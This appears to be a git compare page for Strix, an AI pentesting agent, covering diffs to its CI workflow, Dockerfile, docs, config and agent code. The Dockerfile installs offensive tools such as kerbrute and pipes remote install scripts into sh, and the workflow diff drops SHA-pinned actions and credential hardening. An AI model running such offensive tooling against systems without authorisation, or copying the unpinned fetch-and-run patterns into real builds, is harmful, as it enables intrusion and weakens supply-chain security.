mirror of
https://github.com/usestrix/strix.git
synced 2026-08-16 17:27:26 +02:00
Compare commits
6
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
10d8db53fe | ||
|
|
d91e91129f | ||
|
|
318b54ccfc | ||
|
|
b0a0363754 | ||
|
|
ea6d7bab32 | ||
|
|
4524691355 |
@@ -6,9 +6,6 @@ on:
|
||||
- 'v*'
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
build:
|
||||
strategy:
|
||||
@@ -21,23 +18,19 @@ jobs:
|
||||
target: macos-x86_64
|
||||
- os: ubuntu-22.04
|
||||
target: linux-x86_64
|
||||
- os: ubuntu-22.04-arm
|
||||
target: linux-arm64
|
||||
- os: windows-latest
|
||||
target: windows-x86_64
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.12'
|
||||
|
||||
- uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5.4.2
|
||||
- uses: astral-sh/setup-uv@v5
|
||||
|
||||
- name: Build
|
||||
shell: bash
|
||||
@@ -45,20 +38,6 @@ jobs:
|
||||
uv sync --frozen
|
||||
uv run pyinstaller strix.spec --noconfirm
|
||||
|
||||
if [[ "${{ runner.os }}" == "Windows" ]]; then
|
||||
dist/strix.exe --version
|
||||
else
|
||||
dist/strix --version
|
||||
fi
|
||||
|
||||
if [[ "${{ matrix.target }}" == "linux-arm64" ]]; then
|
||||
file dist/strix
|
||||
file dist/strix | grep -q "ARM aarch64" || {
|
||||
echo "::error::linux-arm64 artifact is not an ARM aarch64 binary"
|
||||
exit 1
|
||||
}
|
||||
fi
|
||||
|
||||
VERSION=$(grep '^version' pyproject.toml | head -1 | sed 's/.*"\(.*\)"/\1/')
|
||||
mkdir -p dist/release
|
||||
|
||||
@@ -71,7 +50,7 @@ jobs:
|
||||
tar -C dist/release -czvf "dist/release/strix-${VERSION}-${{ matrix.target }}.tar.gz" "strix-${VERSION}-${{ matrix.target }}"
|
||||
fi
|
||||
|
||||
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: strix-${{ matrix.target }}
|
||||
path: |
|
||||
@@ -86,13 +65,13 @@ jobs:
|
||||
contents: write
|
||||
|
||||
steps:
|
||||
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
path: release
|
||||
merge-multiple: true
|
||||
|
||||
- name: Create Release
|
||||
uses: softprops/action-gh-release@3bb12739c298aeb8a4eeaf626c5b8d85266b0e65 # v2.6.2
|
||||
uses: softprops/action-gh-release@v2
|
||||
with:
|
||||
prerelease: ${{ !startsWith(github.ref, 'refs/tags/') }}
|
||||
generate_release_notes: true
|
||||
|
||||
+3
-3
@@ -1,8 +1,8 @@
|
||||
# Node / local-viewer SPA source (the built bundle in
|
||||
# strix/interface/viewer/static/ is committed and shipped; do not ignore it)
|
||||
# strix/viewer/static/ is committed and shipped; do not ignore it)
|
||||
node_modules/
|
||||
strix/interface/viewer/frontend/node_modules/
|
||||
strix/interface/viewer/frontend/.vite/
|
||||
strix/viewer/frontend/node_modules/
|
||||
strix/viewer/frontend/.vite/
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
|
||||
+5
-5
@@ -102,16 +102,16 @@ We welcome feature ideas! Please:
|
||||
## 🖥️ Local viewer SPA
|
||||
|
||||
`strix view` serves a prebuilt web UI whose source lives in
|
||||
`strix/interface/viewer/frontend/` (a Vite + React project) and whose built output is
|
||||
committed to `strix/interface/viewer/static/` and shipped in the package. End users never
|
||||
run a JS build. If you change anything under `strix/interface/viewer/frontend/`, rebuild
|
||||
`strix/viewer/frontend/` (a Vite + React project) and whose built output is
|
||||
committed to `strix/viewer/static/` and shipped in the package. End users never
|
||||
run a JS build. If you change anything under `strix/viewer/frontend/`, rebuild
|
||||
and commit the output:
|
||||
|
||||
```bash
|
||||
make viewer # or: cd strix/interface/viewer/frontend && npm ci && npm run build
|
||||
make viewer # or: cd strix/viewer/frontend && npm ci && npm run build
|
||||
```
|
||||
|
||||
Commit both the source change and the regenerated `strix/interface/viewer/static/`.
|
||||
Commit both the source change and the regenerated `strix/viewer/static/`.
|
||||
|
||||
## 🤝 Community
|
||||
|
||||
|
||||
@@ -69,8 +69,8 @@ clean:
|
||||
|
||||
viewer:
|
||||
@echo "🖥️ Building the local-viewer SPA..."
|
||||
cd strix/interface/viewer/frontend && npm ci && npm run build
|
||||
@echo "✅ Viewer built to strix/interface/viewer/static/ (commit the changes)."
|
||||
cd strix/viewer/frontend && npm ci && npm run build
|
||||
@echo "✅ Viewer built to strix/viewer/static/ (commit the changes)."
|
||||
|
||||
dev: format lint type-check
|
||||
@echo "✅ Development cycle complete!"
|
||||
|
||||
@@ -267,20 +267,6 @@ export STRIX_REASONING_EFFORT="high" # control thinking effort (default: high,
|
||||
> [!NOTE]
|
||||
> Strix automatically saves your configuration to `~/.strix/cli-config.json`, so you don't have to re-enter it on every run.
|
||||
|
||||
#### Sign in with a ChatGPT subscription
|
||||
|
||||
Instead of a metered API key, you can run Strix on your ChatGPT Plus/Pro subscription:
|
||||
|
||||
```bash
|
||||
strix auth login chatgpt # sign in with your ChatGPT account
|
||||
|
||||
export STRIX_LLM="chatgpt/gpt-5.4" # chatgpt/<model> runs on the subscription
|
||||
strix --target ./app-directory
|
||||
|
||||
strix auth status # show the active sign-in
|
||||
strix auth logout # forget the sign-in
|
||||
```
|
||||
|
||||
**Recommended models for best results:**
|
||||
|
||||
- [OpenAI GPT-5.4](https://openai.com/api/) - `openai/gpt-5.4`
|
||||
|
||||
+4
-12
@@ -16,7 +16,8 @@ RUN mkdir -p /out/bin && \
|
||||
go install -v github.com/projectdiscovery/katana/cmd/katana@latest && \
|
||||
go install -v github.com/projectdiscovery/cvemap/cmd/vulnx@latest && \
|
||||
go install -v github.com/jaeles-project/gospider@latest && \
|
||||
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
|
||||
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest && \
|
||||
go install -v github.com/ropnop/kerbrute@latest
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Runtime stage
|
||||
@@ -40,7 +41,7 @@ RUN mkdir -p /home/pentester/tools /app/certs && \
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get install -y --no-install-recommends \
|
||||
wget curl git vim nano unzip tar \
|
||||
wget curl git nano unzip tar \
|
||||
apt-transport-https ca-certificates gnupg lsb-release \
|
||||
software-properties-common \
|
||||
gcc libc6-dev \
|
||||
@@ -83,8 +84,6 @@ USER root
|
||||
RUN cp /app/certs/ca.crt /usr/local/share/ca-certificates/ca.crt && \
|
||||
update-ca-certificates
|
||||
|
||||
RUN curl -LsSf https://astral.sh/uv/install.sh | env UV_INSTALL_DIR=/usr/local/bin sh
|
||||
|
||||
USER pentester
|
||||
WORKDIR /tmp
|
||||
|
||||
@@ -154,14 +153,7 @@ RUN git clone https://github.com/aravind0x7/JS-Snooper.git && \
|
||||
|
||||
USER root
|
||||
|
||||
# Install trufflehog into a pentester-owned dir on PATH so its runtime self-update
|
||||
# (which replaces the binary in place) succeeds: as non-root `pentester` it cannot
|
||||
# overwrite a root-owned binary under /usr/local/bin, which otherwise fails with
|
||||
# "cannot move binary" and aborts the scan. Pin the initial version for
|
||||
# reproducible builds; self-update then pulls fresh detectors at runtime.
|
||||
ARG TRUFFLEHOG_VERSION=3.95.9
|
||||
RUN curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /home/pentester/.local/bin "v${TRUFFLEHOG_VERSION}" && \
|
||||
chown -R pentester:pentester /home/pentester/.local
|
||||
RUN curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin
|
||||
RUN set -eux; \
|
||||
ARCH="$(uname -m)"; \
|
||||
case "$ARCH" in \
|
||||
|
||||
@@ -19,14 +19,6 @@ Configure Strix using environment variables or a config file.
|
||||
Custom API base URL. Also accepts `OPENAI_API_BASE`, `LITELLM_BASE_URL`, or `OLLAMA_API_BASE`.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="LLM_EXTRA_HEADERS" type="string">
|
||||
Extra HTTP headers sent on every LLM request, as a JSON object (e.g.
|
||||
`{"X-Feature-Key":"value","X-Tenant":"acme"}`). Useful for OpenAI-compatible
|
||||
gateways that require attribution or routing headers in addition to the bearer
|
||||
token. The bearer token itself still comes from `LLM_API_KEY`. Applies to both
|
||||
the LiteLLM and native OpenAI routing paths.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="LLM_TIMEOUT" default="300" type="integer">
|
||||
Request timeout in seconds for LLM calls.
|
||||
</ParamField>
|
||||
@@ -43,37 +35,6 @@ Configure Strix using environment variables or a config file.
|
||||
Timeout in seconds for memory compression operations (context summarization).
|
||||
</ParamField>
|
||||
|
||||
### Dedicated deduplication model
|
||||
|
||||
Finding deduplication is a cheap, structured classification task. By default it
|
||||
runs on the main model, but you can route it to a smaller/cheaper model without
|
||||
affecting the agents that do the actual testing.
|
||||
|
||||
<ParamField path="STRIX_DEDUPE_MODEL" type="string">
|
||||
Model used to judge whether a candidate finding duplicates an existing report.
|
||||
Falls back to `STRIX_LLM` when unset.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="DEDUPE_LLM_API_KEY" type="string">
|
||||
Optional provider key for the deduplication model.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="DEDUPE_LLM_API_BASE" type="string">
|
||||
Optional custom API base URL for the deduplication model. Use when the dedupe
|
||||
model runs on a different endpoint than the main model.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="DEDUPE_LLM_EXTRA_HEADERS" type="string">
|
||||
Optional JSON object of extra HTTP headers sent on every deduplication-model
|
||||
request, e.g. `{"X-Feature-Key":"value"}`. A dedicated dedupe model never
|
||||
inherits `LLM_EXTRA_HEADERS`; set this when its endpoint needs custom headers.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="STRIX_DEDUPE_REASONING_EFFORT" type="string">
|
||||
Reasoning effort for the deduplication model. Defaults to the model's own
|
||||
baseline when unset.
|
||||
</ParamField>
|
||||
|
||||
## Optional Features
|
||||
|
||||
<ParamField path="PERPLEXITY_API_KEY" type="string">
|
||||
|
||||
@@ -54,20 +54,3 @@ If you use LM Studio, vLLM, or other runners:
|
||||
export STRIX_LLM="openai/local-model"
|
||||
export LLM_API_BASE="http://localhost:1234/v1" # Adjust port as needed
|
||||
```
|
||||
|
||||
### Gateways that require custom headers
|
||||
|
||||
Some OpenAI-compatible gateways require extra HTTP headers (for attribution or
|
||||
tenant routing) alongside the bearer token. Set them with `LLM_EXTRA_HEADERS` as
|
||||
a JSON object — they are sent on every request:
|
||||
|
||||
```bash
|
||||
export STRIX_LLM="openai/your-model"
|
||||
export LLM_API_BASE="https://your-gateway.example/v1"
|
||||
export LLM_API_KEY="your-bearer-token" # sent as Authorization: Bearer ...
|
||||
export LLM_EXTRA_HEADERS='{"X-Feature-Key":"value","X-Tenant":"acme"}'
|
||||
```
|
||||
|
||||
For endpoints behind a private CA, point Strix at your certificate bundle with
|
||||
the standard `SSL_CERT_FILE=/path/to/ca-bundle.pem` — never disable TLS
|
||||
verification against a real endpoint.
|
||||
|
||||
+4
-38
@@ -61,28 +61,11 @@ strix (--target <target> | --target-list <path> | --mount <path>) [options]
|
||||
Path to a custom config file (JSON) to use instead of `~/.strix/cli-config.json`.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="--max-budget" type="number">
|
||||
<ParamField path="--max-budget-usd" type="number">
|
||||
Maximum LLM spend in USD for the whole scan, counted cumulatively across the
|
||||
root agent and every child agent. The budget is checked after each model
|
||||
response.
|
||||
|
||||
In non-interactive mode (`-n`), once the running cost reaches the threshold,
|
||||
the scan stops cleanly with a `stopped` status (not a failure) and the sandbox
|
||||
is torn down. Sub-agents are stopped early, at 90% of the budget, reserving
|
||||
the final slice for the root agent to wind down and produce the final report.
|
||||
|
||||
In interactive mode, reaching the budget pauses the scan instead of ending
|
||||
it: every agent parks, and sending any message resumes the scan with the cap
|
||||
extended by the original budget amount. There is no sub-agent reserve in
|
||||
interactive mode.
|
||||
|
||||
As the budget is approached, graduated wrap-up warnings are surfaced to
|
||||
**every** agent so they can finish their work and call their lifecycle tool
|
||||
before the hard stop. The bands sit just below each role's own stop point: the
|
||||
root is warned at **70%, 85% and 95%** (it stops at 100%), while sub-agents are
|
||||
warned at **75%, 80% and 85%** (they stop at the 90% reserve). In interactive
|
||||
mode every agent uses the **70%, 85% and 95%** bands. Percentages shown in the
|
||||
warnings are the real cumulative spend against the full budget.
|
||||
response; once the running cost reaches the threshold, the scan stops cleanly
|
||||
with a `stopped` status (not a failure) and the sandbox is torn down.
|
||||
|
||||
Must be greater than `0`. Omit the flag for no limit.
|
||||
|
||||
@@ -101,19 +84,6 @@ strix (--target <target> | --target-list <path> | --mount <path>) [options]
|
||||
counts.
|
||||
</ParamField>
|
||||
|
||||
<ParamField path="--max-turns" type="integer" default="500">
|
||||
Maximum number of turns (one model response plus its tool round) allotted to
|
||||
**each** agent, applied per run. When an agent reaches this limit it is
|
||||
force-stopped.
|
||||
|
||||
As the limit is approached, graduated wrap-up warnings (at 70%, 85% and 95%)
|
||||
are injected into that agent's next model turn so it can prioritise its
|
||||
remaining work and call its lifecycle tool (`finish_scan` for the root agent,
|
||||
`agent_finish` for sub-agents) before the hard stop.
|
||||
|
||||
Must be greater than `0`.
|
||||
</ParamField>
|
||||
|
||||
## Examples
|
||||
|
||||
```bash
|
||||
@@ -129,9 +99,6 @@ strix --target api.example.com --instruction "Focus on IDOR and auth bypass"
|
||||
# CI/CD mode
|
||||
strix -n --target ./ --scan-mode quick
|
||||
|
||||
# Cap cost and per-agent turns
|
||||
strix --target https://example.com --max-budget 25 --max-turns 300
|
||||
|
||||
# Force diff-scope against a specific base ref
|
||||
strix -n --target ./ --scan-mode quick --scope-mode diff --diff-base origin/main
|
||||
|
||||
@@ -149,6 +116,5 @@ strix --mount ./huge-monorepo
|
||||
|
||||
| Code | Meaning |
|
||||
|------|---------|
|
||||
| 0 | Scan completed successfully (interactive mode always exits `0`; in headless mode, `0` means no vulnerabilities were found) |
|
||||
| 1 | A fatal error occurred before or during the scan (e.g. missing environment variables, Docker unavailable, invalid config file, diff-scope resolution failure, or an unhandled error) |
|
||||
| 0 | Scan completed, no vulnerabilities found |
|
||||
| 2 | Vulnerabilities found (headless mode only) |
|
||||
|
||||
+9
-24
@@ -1,6 +1,6 @@
|
||||
[project]
|
||||
name = "strix-agent"
|
||||
version = "1.4.1"
|
||||
version = "1.2.0"
|
||||
description = "Open-source AI Hackers for your apps"
|
||||
readme = "README.md"
|
||||
license = "Apache-2.0"
|
||||
@@ -46,9 +46,7 @@ dependencies = [
|
||||
"caido-sdk-client>=0.2.0",
|
||||
"reportlab>=4.0",
|
||||
"pypdf>=5.0",
|
||||
# Cap <49: 49.x drops the universal2 macOS wheel (arm64-only), which breaks
|
||||
# the Intel macOS (macos-x86_64) release build's `uv sync --frozen`.
|
||||
"cryptography>=48.0.1,<49",
|
||||
"cryptography>=42",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
@@ -79,10 +77,10 @@ build-backend = "hatchling.build"
|
||||
|
||||
[tool.hatch.build.targets.wheel]
|
||||
packages = ["strix"]
|
||||
# The prebuilt viewer bundle under strix/interface/viewer/static/ ships automatically
|
||||
# The prebuilt viewer bundle under strix/viewer/static/ ships automatically
|
||||
# (hatchling includes non-.py files under the package). The Vite SOURCE lives
|
||||
# under the package dir too (strix/interface/viewer/frontend/) but must never ship in the wheel.
|
||||
exclude = ["strix/interface/viewer/frontend", "strix/interface/viewer/frontend/**"]
|
||||
# under the package dir too (strix/viewer/frontend/) but must never ship in the wheel.
|
||||
exclude = ["strix/viewer/frontend", "strix/viewer/frontend/**"]
|
||||
|
||||
# ============================================================================
|
||||
# Type Checking Configuration
|
||||
@@ -122,7 +120,6 @@ module = [
|
||||
"pydantic_settings.*",
|
||||
"reportlab.*",
|
||||
"pypdf.*",
|
||||
"pygments.*",
|
||||
]
|
||||
ignore_missing_imports = true
|
||||
disable_error_code = ["import-untyped"]
|
||||
@@ -216,17 +213,12 @@ ignore = [
|
||||
# Test doubles use fixture tokens/passwords and match a callee signature whose
|
||||
# args they intentionally ignore.
|
||||
"tests/test_viewer_auth.py" = ["S105", "S106", "ARG001"]
|
||||
"tests/test_codex_auth.py" = ["S105", "S106", "SLF001"]
|
||||
# Stdlib HTTP handler overrides (do_GET/do_POST).
|
||||
"strix/interface/auth_cli.py" = ["N802"]
|
||||
"tests/test_codex_streaming.py" = ["N802"]
|
||||
"tests/test_disable_streaming.py" = ["N802"]
|
||||
"tests/test_report_pdf.py" = ["S105", "S106"]
|
||||
# Stdlib HTTP handler overrides (do_GET/do_POST) and lazy imports that avoid a
|
||||
# circular dependency with strix.telemetry / strix.interface.viewer.report_pdf.
|
||||
"strix/interface/viewer/server.py" = ["N802", "PLC0415"]
|
||||
# circular dependency with strix.telemetry / strix.viewer.report_pdf.
|
||||
"strix/viewer/server.py" = ["N802", "PLC0415"]
|
||||
# Lazy telemetry import to avoid importing PostHog before the viewer starts.
|
||||
"strix/interface/viewer/cli.py" = ["PLC0415"]
|
||||
"strix/viewer/cli.py" = ["PLC0415"]
|
||||
# Lazy imports inside functions to avoid circular dependency with
|
||||
# strix.telemetry / strix.report.dedupe / cvss.
|
||||
"strix/tools/notes/tools.py" = ["PLC0415", "TC002"]
|
||||
@@ -259,16 +251,9 @@ ignore = [
|
||||
"strix/core/runner.py" = ["TC003", "PLR0912", "PLR0915", "PLC0415"]
|
||||
# ReportState carries scan artifact/report fields and
|
||||
# a runtime ``Callable`` annotation on ``vulnerability_found_callback``.
|
||||
"strix/report/state.py" = ["TC003", "PLR0912", "PLR0915", "E501", "PERF401", "PLC0415"]
|
||||
"strix/report/state.py" = ["TC003", "PLR0912", "PLR0915", "E501", "PERF401"]
|
||||
"strix/report/usage.py" = ["PLC0415"]
|
||||
# Lazy import of strix.config.models avoids a circular dependency between the
|
||||
# report pipeline and the config layer.
|
||||
"strix/report/dedupe.py" = ["PLC0415"]
|
||||
"strix/telemetry/logging.py" = ["PLC0415"]
|
||||
"strix/config/models.py" = ["PLC0415"]
|
||||
# Heavy inference deps (httpx, openai) imported lazily so auth-status checks
|
||||
# don't pull them in.
|
||||
"strix/config/codex.py" = ["PLC0415"]
|
||||
# Interface utility branches per scope-mode / target-type combination;
|
||||
# splitting would obscure the decision tree without simplifying it.
|
||||
"strix/interface/utils.py" = ["PLR0912", "BLE001", "PLC0415"]
|
||||
|
||||
+2
-2
@@ -4,7 +4,7 @@ set -euo pipefail
|
||||
|
||||
APP=strix
|
||||
REPO="usestrix/strix"
|
||||
STRIX_IMAGE="ghcr.io/usestrix/strix-sandbox:1.1.0"
|
||||
STRIX_IMAGE="ghcr.io/usestrix/strix-sandbox:1.0.0"
|
||||
|
||||
MUTED='\033[0;2m'
|
||||
RED='\033[0;31m'
|
||||
@@ -41,7 +41,7 @@ fi
|
||||
|
||||
combo="$os-$arch"
|
||||
case "$combo" in
|
||||
linux-x86_64|linux-arm64|macos-x86_64|macos-arm64|windows-x86_64)
|
||||
linux-x86_64|macos-x86_64|macos-arm64|windows-x86_64)
|
||||
;;
|
||||
*)
|
||||
echo -e "${RED}Unsupported OS/Arch: $os/$arch${NC}"
|
||||
|
||||
+7
-7
@@ -26,7 +26,7 @@ for tcss_file in strix_root.rglob('*.tcss'):
|
||||
datas.append((str(tcss_file), str(rel_path.parent)))
|
||||
|
||||
# Prebuilt local-viewer SPA (served by `strix view`).
|
||||
viewer_static = strix_root / 'interface' / 'viewer' / 'static'
|
||||
viewer_static = strix_root / 'viewer' / 'static'
|
||||
for asset in viewer_static.rglob('*'):
|
||||
if asset.is_file():
|
||||
rel_path = asset.relative_to(project_root)
|
||||
@@ -158,12 +158,12 @@ hiddenimports = [
|
||||
'strix.report.dedupe',
|
||||
'strix.report.state',
|
||||
'strix.report.writer',
|
||||
'strix.interface.viewer',
|
||||
'strix.interface.viewer.auth',
|
||||
'strix.interface.viewer.cli',
|
||||
'strix.interface.viewer.report_pdf',
|
||||
'strix.interface.viewer.server',
|
||||
'strix.interface.viewer.transcript',
|
||||
'strix.viewer',
|
||||
'strix.viewer.auth',
|
||||
'strix.viewer.cli',
|
||||
'strix.viewer.report_pdf',
|
||||
'strix.viewer.server',
|
||||
'strix.viewer.transcript',
|
||||
|
||||
# PDF report generation + encryption
|
||||
'reportlab',
|
||||
|
||||
+14
-91
@@ -16,7 +16,6 @@ from agents.tool import CustomTool, FunctionTool, Tool
|
||||
from pydantic import ValidationError
|
||||
|
||||
from strix.agents.prompt import render_system_prompt
|
||||
from strix.config import load_settings
|
||||
from strix.tools.agents_graph.tools import (
|
||||
agent_finish,
|
||||
create_agent,
|
||||
@@ -34,7 +33,6 @@ from strix.tools.notes.tools import (
|
||||
list_notes,
|
||||
update_note,
|
||||
)
|
||||
from strix.tools.output_store import bound_and_store, bound_text
|
||||
from strix.tools.proxy.tools import (
|
||||
list_requests,
|
||||
list_sitemap,
|
||||
@@ -43,12 +41,7 @@ from strix.tools.proxy.tools import (
|
||||
view_request,
|
||||
view_sitemap_entry,
|
||||
)
|
||||
from strix.tools.reporting.tool import (
|
||||
create_dependency_report,
|
||||
create_vulnerability_report,
|
||||
get_report,
|
||||
list_reports,
|
||||
)
|
||||
from strix.tools.reporting.tool import create_dependency_report, create_vulnerability_report
|
||||
from strix.tools.thinking.tool import think
|
||||
from strix.tools.todo.tools import (
|
||||
create_todo,
|
||||
@@ -110,36 +103,8 @@ def _extract_custom_input(tool: CustomTool, raw_input: str | dict[str, Any]) ->
|
||||
return value if isinstance(value, str) else ""
|
||||
|
||||
|
||||
def _tool_output_limits() -> tuple[int, int]:
|
||||
context = load_settings().context
|
||||
return context.tool_output_max_lines, context.tool_output_max_bytes
|
||||
|
||||
|
||||
async def _bound_result(result: Any) -> Any:
|
||||
if not isinstance(result, str):
|
||||
return result
|
||||
max_lines, max_bytes = _tool_output_limits()
|
||||
return await bound_and_store(result, max_lines=max_lines, max_bytes=max_bytes)
|
||||
|
||||
|
||||
def _format_tool_error(exc: Exception) -> str:
|
||||
message = str(exc) or exc.__class__.__name__
|
||||
max_lines, max_bytes = _tool_output_limits()
|
||||
return bound_text(message, max_lines=max_lines, max_bytes=max_bytes)
|
||||
|
||||
|
||||
def _with_bounded_result(tool: FunctionTool) -> FunctionTool:
|
||||
"""Cap a tool's result size before it enters history (idempotent)."""
|
||||
if getattr(tool, "_strix_bounded", False):
|
||||
return tool
|
||||
invoke_tool = tool.on_invoke_tool
|
||||
|
||||
async def invoke(ctx: Any, raw_input: str) -> Any:
|
||||
return await _bound_result(await invoke_tool(ctx, raw_input))
|
||||
|
||||
tool.on_invoke_tool = invoke
|
||||
tool._strix_bounded = True # type: ignore[attr-defined]
|
||||
return tool
|
||||
return str(exc) or exc.__class__.__name__
|
||||
|
||||
|
||||
def _function_tool_with_error_result(tool: FunctionTool) -> FunctionTool:
|
||||
@@ -147,7 +112,7 @@ def _function_tool_with_error_result(tool: FunctionTool) -> FunctionTool:
|
||||
|
||||
async def invoke(ctx: Any, raw_input: str) -> Any:
|
||||
try:
|
||||
return await _bound_result(await invoke_tool(ctx, raw_input))
|
||||
return await invoke_tool(ctx, raw_input)
|
||||
except Exception as exc: # noqa: BLE001 - tool errors should be model-visible results.
|
||||
logger.debug("Tool %s failed; returning error as result", tool.name, exc_info=True)
|
||||
return _format_tool_error(exc)
|
||||
@@ -162,7 +127,7 @@ def _custom_tool_as_function_tool(tool: CustomTool) -> FunctionTool:
|
||||
if not custom_input:
|
||||
return f"`{_custom_tool_input_field(tool)}` must be a non-empty string."
|
||||
try:
|
||||
return await _bound_result(await tool.on_invoke_tool(ctx, custom_input))
|
||||
return await tool.on_invoke_tool(ctx, custom_input)
|
||||
except Exception as exc: # noqa: BLE001 - matches SDK CustomTool error-as-result behavior.
|
||||
logger.debug("Tool %s failed; returning error as result", tool.name, exc_info=True)
|
||||
return _format_tool_error(exc)
|
||||
@@ -194,35 +159,12 @@ def _custom_tool_as_function_tool(tool: CustomTool) -> FunctionTool:
|
||||
)
|
||||
|
||||
|
||||
def _bound_custom_tool(tool: CustomTool) -> CustomTool:
|
||||
"""Bound a native ``CustomTool`` result in place (Responses path)."""
|
||||
invoke_tool = tool.on_invoke_tool
|
||||
|
||||
async def invoke(ctx: Any, raw_input: str) -> Any:
|
||||
return await _bound_result(await invoke_tool(ctx, raw_input))
|
||||
|
||||
tool.on_invoke_tool = invoke
|
||||
return tool
|
||||
|
||||
|
||||
def _configure_filesystem_tools(toolset: Any, *, chat_completions: bool) -> None:
|
||||
def _configure_chat_completions_filesystem_tools(toolset: Any) -> None:
|
||||
for name, tool in vars(toolset).items():
|
||||
if chat_completions:
|
||||
if isinstance(tool, CustomTool):
|
||||
setattr(toolset, name, _custom_tool_as_function_tool(tool))
|
||||
elif isinstance(tool, FunctionTool):
|
||||
setattr(toolset, name, _function_tool_with_error_result(tool))
|
||||
elif isinstance(tool, CustomTool):
|
||||
setattr(toolset, name, _bound_custom_tool(tool))
|
||||
if isinstance(tool, CustomTool):
|
||||
setattr(toolset, name, _custom_tool_as_function_tool(tool))
|
||||
elif isinstance(tool, FunctionTool):
|
||||
setattr(toolset, name, _with_bounded_result(tool))
|
||||
|
||||
|
||||
def _make_filesystem_configurator(*, chat_completions: bool) -> Any:
|
||||
def configure(toolset: Any) -> None:
|
||||
_configure_filesystem_tools(toolset, chat_completions=chat_completions)
|
||||
|
||||
return configure
|
||||
setattr(toolset, name, _function_tool_with_error_result(tool))
|
||||
|
||||
|
||||
_CHARS_ESCAPE_RE = re.compile(r"\\(?:u[0-9a-fA-F]{4}|x[0-9a-fA-F]{2}|[0abtnvfr\\])")
|
||||
@@ -263,16 +205,6 @@ def _format_validation_error(tool_name: str, exc: ValidationError) -> str:
|
||||
return f"{tool_name}: invalid arguments — " + "; ".join(parts)
|
||||
|
||||
|
||||
def _apply_shell_output_cap(parsed: dict[str, Any]) -> None:
|
||||
"""Clamp the SDK shell tools' ``max_output_tokens`` to the configured
|
||||
ceiling; a smaller explicit value is respected."""
|
||||
ceiling = load_settings().context.tool_output_max_tokens
|
||||
requested = parsed.get("max_output_tokens")
|
||||
parsed["max_output_tokens"] = (
|
||||
ceiling if not isinstance(requested, int) or requested > ceiling else requested
|
||||
)
|
||||
|
||||
|
||||
def _wrap_exec_command(tool: FunctionTool) -> FunctionTool:
|
||||
invoke_tool = tool.on_invoke_tool
|
||||
|
||||
@@ -281,10 +213,8 @@ def _wrap_exec_command(tool: FunctionTool) -> FunctionTool:
|
||||
parsed = json.loads(raw_input)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
parsed = None
|
||||
if isinstance(parsed, dict):
|
||||
if "shell" not in parsed:
|
||||
parsed["shell"] = "bash"
|
||||
_apply_shell_output_cap(parsed)
|
||||
if isinstance(parsed, dict) and "shell" not in parsed:
|
||||
parsed["shell"] = "bash"
|
||||
raw_input = json.dumps(parsed)
|
||||
try:
|
||||
return await invoke_tool(ctx, raw_input)
|
||||
@@ -310,10 +240,8 @@ def _wrap_write_stdin(tool: FunctionTool) -> FunctionTool:
|
||||
parsed = json.loads(raw_input)
|
||||
except json.JSONDecodeError:
|
||||
parsed = None
|
||||
if isinstance(parsed, dict):
|
||||
if isinstance(parsed.get("chars"), str):
|
||||
parsed["chars"] = _decode_chars_escape(parsed["chars"])
|
||||
_apply_shell_output_cap(parsed)
|
||||
if isinstance(parsed, dict) and isinstance(parsed.get("chars"), str):
|
||||
parsed["chars"] = _decode_chars_escape(parsed["chars"])
|
||||
raw_input = json.dumps(parsed)
|
||||
try:
|
||||
return await invoke_tool(ctx, raw_input)
|
||||
@@ -415,8 +343,6 @@ _BASE_TOOLS: tuple[Tool, ...] = (
|
||||
web_search,
|
||||
create_vulnerability_report,
|
||||
create_dependency_report,
|
||||
list_reports,
|
||||
get_report,
|
||||
list_requests,
|
||||
view_request,
|
||||
repeat_request,
|
||||
@@ -514,9 +440,6 @@ def build_strix_agent(
|
||||
else:
|
||||
tools = [*_BASE_TOOLS, *agent_tools, agent_finish]
|
||||
_ensure_unique_tool_names(tools)
|
||||
tools = [
|
||||
_with_bounded_result(tool) if isinstance(tool, FunctionTool) else tool for tool in tools
|
||||
]
|
||||
|
||||
logger.info(
|
||||
"Built %s agent '%s' (skills=%d, tools=%d, scan_mode=%s, whitebox=%s)",
|
||||
@@ -536,8 +459,8 @@ def build_strix_agent(
|
||||
model=None,
|
||||
capabilities=[
|
||||
Filesystem(
|
||||
configure_tools=_make_filesystem_configurator(
|
||||
chat_completions=chat_completions_tools,
|
||||
configure_tools=(
|
||||
_configure_chat_completions_filesystem_tools if chat_completions_tools else None
|
||||
),
|
||||
),
|
||||
Shell(
|
||||
|
||||
@@ -188,7 +188,7 @@ EFFICIENCY TACTICS:
|
||||
script fail with `ModuleNotFoundError`.
|
||||
